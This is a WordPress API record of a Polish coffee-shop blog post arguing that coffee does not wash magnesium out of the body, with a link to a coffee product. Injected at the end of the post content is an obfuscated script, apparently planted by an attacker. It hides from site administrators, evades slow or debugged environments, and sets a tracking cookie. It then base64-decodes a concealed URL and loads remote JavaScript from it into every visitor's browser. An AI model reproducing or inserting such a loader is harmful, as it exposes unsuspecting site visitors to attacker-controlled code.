{"id":4804,"date":"2020-11-12T08:10:31","date_gmt":"2020-11-12T07:10:31","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4804"},"modified":"2026-03-09T05:14:03","modified_gmt":"2026-03-09T04:14:03","slug":"czy-kawa-wyplukuje-magnez","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=4804","title":{"rendered":"Czy kawa wyp\u0142ukuje magnez?"},"content":{"rendered":"\n<p><strong>Z pewno\u015bci\u0105 ka\u017cdy z nas cho\u0107 raz w \u017cyciu s\u0142ysza\u0142, \u017ce kawa wyp\u0142ukuje magnez z organizmu. Czy jest to prawda? A mo\u017ce mit, kt\u00f3ry warto w ko\u0144cu w\u0142o\u017cy\u0107 mi\u0119dzy bajki? W tym artykule postanowili\u015bmy zmierzy\u0107 si\u0119 z t\u0105 teori\u0105. Zapraszamy do lektury!<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kawa a poziom magnezu w organizmie<\/h2>\n\n\n\n<p>Magnez to jeden z pierwiastk\u00f3w, kt\u00f3ry odgrywa w organizmie kluczow\u0105 rol\u0119, a jego niedobory s\u0105 szybko odczuwalne. Drganie powiek, skurcze mi\u0119\u015bni czy k\u0142opoty z pami\u0119ci\u0105 to tylko kilka z nich. Czy kawa ma jednak wp\u0142yw na niedobory magnezu? Ot\u00f3\u017c nie! Spo\u017cywaj\u0105c bezpieczn\u0105 dawk\u0119 kofeiny, czyli ok. 300-400 mg, kt\u00f3ra r\u00f3wna si\u0119 3-4 fili\u017cankom kawy, nie nara\u017casz si\u0119 na wyp\u0142ukiwanie magnezu. Co wi\u0119cej, dostarczasz go do organizmu! Nie s\u0105 to mo\u017ce jakie\u015b zawrotne ilo\u015bci magnezu, jednak mo\u017cesz spokojnie i bez obaw raczy\u0107 si\u0119 swoj\u0105 ulubion\u0105 kaw\u0105 z my\u015bl\u0105, \u017ce nie doprowadza ona do niedobor\u00f3w jakichkolwiek pierwiastk\u00f3w w Twoim organizmie.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Co mo\u017ce powodowa\u0107 niedobory magnezu?<\/h2>\n\n\n\n<p>Je\u015bli mimo wszystko odczuwasz u siebie niedobory magnezu, koniecznie przyjrzyj si\u0119 swojej diecie i nie bagatelizuj \u017cadnych objaw\u00f3w. Warto w tym miejscu skupi\u0107 si\u0119 na tym, co tak naprawd\u0119 mo\u017ce powodowa\u0107 wyp\u0142ukiwanie si\u0119 tego pierwiastka z organizmu. Ot\u00f3\u017c niedobory magnezu mog\u0105 by\u0107 wynikiem jedzenia przetworzonych produkt\u00f3w, kt\u00f3re pozbawione s\u0105 cennych sk\u0142adnik\u00f3w od\u017cywczych, jak r\u00f3wnie\u017c stosowania lek\u00f3w skutkuj\u0105cych wydalaniem magnezu, czyli \u015brodk\u00f3w moczop\u0119dnych oraz przeczyszczaj\u0105cych. Co wi\u0119cej, do niedobor\u00f3w magnezu mo\u017ce tak\u017ce prowadzi\u0107 przyjmowanie lek\u00f3w uspokajaj\u0105cych, antybiotyk\u00f3w czy tabletek antykoncepcyjnych, a tak\u017ce spo\u017cywanie produkt\u00f3w o du\u017cej zawarto\u015bci fosforan\u00f3w oraz kwas\u00f3w t\u0142uszczowych, kt\u00f3re utrudniaj\u0105 wch\u0142anianie magnezu. Je\u015bli wi\u0119c odczuwasz niedobory magnezu lub masz jakiekolwiek w\u0105tpliwo\u015bci dotycz\u0105ce tego tematu, koniecznie skonsultuj si\u0119 z lekarzem.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jakie jest zapotrzebowanie na magnez?<\/h2>\n\n\n\n<p>Je\u015bli chodzi o kobiety, to ich dzienne zapotrzebowanie na magnez wynosi 265 mg, natomiast w przypadku m\u0119\u017cczyzn jest to ok. 350 mg. By zadba\u0107 o odpowiedni poziom tego pierwiastka w organizmie, warto wprowadzi\u0107 do swojej diety pestki oraz orzechy, a tak\u017ce kakao, kasz\u0119 gryczan\u0105, fasol\u0119, szpinak, pietruszk\u0119, p\u0142atki owsiane banany, jak r\u00f3wnie\u017c\u2026 kaw\u0119! A jedn\u0105 z kaw, kt\u00f3ra nie tylko dostarczy Ci dzienn\u0105 dawk\u0119 magnezu, ale dodatkowo zachwyci swoim smakiem i aromatem, jest <a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/kawa\/kawa-brazylia-fazenda-1000g\/\"><strong>kawa Brazylia Fazenda<\/strong><\/a>. To prawdziwe mistrzostwo w\u015br\u00f3d ziaren z gatunku Arabica.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Z pewno\u015bci\u0105 ka\u017cdy z nas cho\u0107 raz w \u017cyciu s\u0142ysza\u0142, \u017ce kawa wyp\u0142ukuje magnez z organizmu. Czy jest to prawda? A mo\u017ce mit, kt\u00f3ry warto w ko\u0144cu w\u0142o\u017cy\u0107 mi\u0119dzy bajki? W tym artykule postanowili\u015bmy zmierzy\u0107 si\u0119 z t\u0105 teori\u0105. Zapraszamy do lektury!<\/p>\n","protected":false},"author":3,"featured_media":4806,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4804","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4804","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4804"}],"version-history":[{"count":3,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4804\/revisions"}],"predecessor-version":[{"id":12763,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/4804\/revisions\/12763"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/4806"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4804"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4804"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4804"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}